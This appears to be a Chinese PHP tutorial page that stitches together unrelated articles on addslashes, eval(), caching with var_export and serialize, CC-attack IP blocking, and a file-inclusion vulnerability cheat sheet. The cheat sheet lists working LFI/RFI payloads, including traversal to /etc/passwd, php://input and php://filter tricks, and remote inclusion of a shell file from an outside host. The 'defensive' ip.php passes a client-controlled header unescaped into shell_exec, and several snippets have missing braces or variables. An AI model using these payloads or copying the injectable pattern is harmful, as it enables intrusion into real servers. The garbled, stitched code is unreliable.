首页 > 编程技术 > php

PHP addslashes 的高级写法

发布时间:2016-11-25 15:24

本文章介绍了用户自定义的addslashes函数,他可以自动过滤,post,get过来的非法数据哦。
 代码如下 复制代码
@set_magic_quotes_runtime(0);
 $MQG = get_magic_quotes_gpc();
 
 if(!$MQG && $_POST) $_POST = daddslashes($_POST);
 if(!$MQG && $_GET) $_GET = daddslashes($_GET);
 
 //转译字符函数
 function daddslashes($string) {
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = daddslashes($val);
     return $string;
 }
这个函数我想很多朋友都知道,黑客用得最多的一句了,可以解析php 代码并且运行哦,eval是函数不可在php中禁止,以前我就以为可以在php.ini禁止此函数,结果失败了。

定义和用法
eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
?eval(phpcode)
  

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

 
提示和注释
注释:返回语句会立即终止对字符串的计算。

注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。

例子
?

 代码如下 复制代码
<?php
$string = "beautiful";
$time = "winter";
 
$str = 'This is a $string $time morning!';
echo $str. "<br />";
 
eval("$str = "$str";");
echo $str;
?>   

 
输出:

 代码如下 复制代码
This is a $string $time morning!
This is a beautiful winter morning!

 

--------------------------------------------------------------------------------

eval() 函数在CodeIgniter框架里也有用到。在 /system/database/DB.php 文件中,根据系统的配置动态的定义了一个类 CI_DB,具体代码片段如下:?

 代码如下 复制代码
if ( ! isset($active_record) OR $active_record == TRUE)
    {
        require_once(BASEPATH.'database/DB_active_rec.php');
 
        if ( ! class_exists('CI_DB'))
        {
            eval('class CI_DB extends CI_DB_active_record { }');
        }
    }
    else
    {
        if ( ! class_exists('CI_DB'))
        {
            eval('class CI_DB extends CI_DB_driver { }');
        }
    }
 
    require_once(BASEPATH.'database/drivers/'.$params['dbdriver'].'/'.$params['dbdriver'].'_driver.php');
 
    // Instantiate the DB adapter
    $driver = 'CI_DB_'.$params['dbdriver'].'_driver';
    $DB = new $driver($params);

  

本函式可将字符串之中的变量值代入,通常用在处理数据库的数据上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函式处理后的字符串会沿续到 PHP 程序结束。

在php中为我们提供了一个函数var_export 他可以直接将php代码入到一个文件中哦。
 代码如下 复制代码

var_export($times,true);后面不加true不能写入文件哟
$fp = fopen('aa.txt','w+');
fwrite($fp,var_export($times,true));
fclose($fp);

方法二

利用serializ与unserialize函数

 代码如下 复制代码

if(isset($_POST['sub'])){    
 $cfg = array('contact'=>$_POST['contact']); //把数据存入数组   
 file_put_contents('./data/contact.cache',serialize($cfg));
        //把数组序列化之后,写到contact.cache里,
 $this->redirect('other/contact');//跳转
 }
 else{    
 $fp = fopen('./data/contact.cache','r');//读
 $cf = unserialize(fread($fp,filesize('./data/contact.cache')));//反序列化,并赋值
 $this->assign('cfg',$cf);//送到前台模板
 $this->display('other/contact');
 }

作者总结了关于在CC脚本攻击的一些问题及防CC脚本攻击的一些解决方案,有需要的朋友可参考一下。

1,登录进VPS控制面板,准备好随时重启VPS。
2,关闭Web Server先,过高的负载会导致后面的操作很难进行,甚至直接无法登录SSH。
3,以防万一,把设置的Web Server系统启动后自动运行去掉。
(如果已经无法登录进系统,并且重启后负载过高导致刚刚开机就已经无法登录,可联系管理员在母机上封掉VPS的IP或80端口,在母机上用虚拟控制台登录进系统,然后进行2&3的操作,之后解封)

二,找出攻击者IP

1,在网站根目录建立文件ip.php,写入下面的内容。

 代码如下 复制代码


<?php 

$real_ip = getenv('HTTP_X_FORWARDED_FOR'); 

if(isset($real_ip)){ 

        shell_exec("echo $real_ip >> real_ip.txt"); 

        shell_exec("echo $_SERVER['REMOTE_ADDR'] >> proxy.txt"); 

}else{ 

        shell_exec("echo $_SERVER['REMOTE_ADDR'] >> ips.txt"); 

echo '服务器受到攻击,正在收集攻击源,请在5分钟后访问本站,5分钟内多次访问本站有可能会被当作攻击源封掉IP。谢谢合作!'; 

?>

2,设置伪静态,将网站下的所有访问都rewrite到ip.php。
Nginx规则:

 

 代码如下 复制代码

rewrite (.*) /ip.php;
Lighttpd规则:


url.rewrite = ( 

"^/(.+)/?$" => "/ip.php"

)

3,启动Web Server开始收集IP
进行完1和2的设置后,启动Web Server,开始记录IP信息。
收集时间建议为3到5分钟,然后再次关闭Web Server。
real_ip.txt,这个文件中保存的IP有80%以上都相同的,这个IP就是攻击者实施攻击的平台的IP。
proxy.txt,这个文件中保存的是攻击者调用的代理服务器的IP,需要封掉。
ips.txt,这里记录的是未表现出代理服务器特征的IP,根据访问次数判断是否为攻击源。

三,对上一段的补充
如果VPS上启用了WEB日志,可以查看日志文件的增长速度来判断是哪个站点被攻击。
如果没有启用日志,并且站点数量很少,临时启用日志也很方便 。
如果没有启用日志,并且站点数量过多,可以使用临时的Web Server配置文件,不绑定虚拟主机,设置一个默认的站点。然后在ip.php里加入下面一行

 代码如下 复制代码
shell_exec("echo $_SERVER['HTTP_HOST'] >> domain.txt");

domain.txt里将保存被访问过的域名,被CC攻击的站点将在里面占绝大多数。

四,开始封堵IP
建立文件ban.php

 代码如下 复制代码

<?php 

$threshold = 10; 

$ips = array_count_values(file('ips.txt')); 

$ban_num = 0; 

foreach($ips as $ip=>$num){ 

    if($num > $threshold){ 

                $ip = trim($ip); 

                $cmd = "iptables -I INPUT -p tcp --dport 80 -s $ip -j DROP"; 

        shell_exec($cmd); 

        echo "$ip baned!n"; 

        $ban_num ++; 

        } 

$proxy_arr = array_unique(file('proxy.txt')); 

foreach($proxy_arr as $proxy){ 

    proxy = trim($proxy); 

    $cmd = "iptables -I INPUT -p tcp --dport 80 -s $proxy -j DROP"; 

    shell_exec($cmd); 

    echo "$proxy baned!n"; 

    $ban_num ++; 

echo "total: $ban_num ipsn"; 

?>

用下面的命令执行脚本(确保php命令在PATH中)

php ban.php
这个脚本依赖于第二段中ips.txt里保存的结果,当其中记录的IP访问次数超过10次,就被当作攻击源给屏蔽掉。如果是代理服务器,则不判断次数直接封掉。
封完IP之后,把所有的网站设置恢复正常,站点可以继续正常运行了。

文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。

基本的文件包含漏洞:

 代码如下 复制代码
<?php include(“includes/” . $_GET['file']); ?>
* 包含同路径下的文件:
?file=.htaccess
* 路径遍历:
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地文件包含:

 代码如下 复制代码
 <?php include(“includes/” . $_GET['file'] . “.htm”); ?>
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd........... …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)

基本的远程文件包含:

 代码如下 复制代码


<?php include($_GET['file']); ?>

* 包含远程代码(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php输入流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

* 用于跨站脚本攻击(Using XSS):

 代码如下 复制代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)

受限的远程文件包含漏洞

 代码如下 复制代码
<?php include($_GET['file'] . “.htm”); ?>
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)

静态远程文件包含漏洞:

 代码如下 复制代码

<?php include(“http://192.168.1.10/config.php”); ?>
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)


来自Reiners’ Weblog。

标签:[!--infotagslink--]

您可能感兴趣的文章: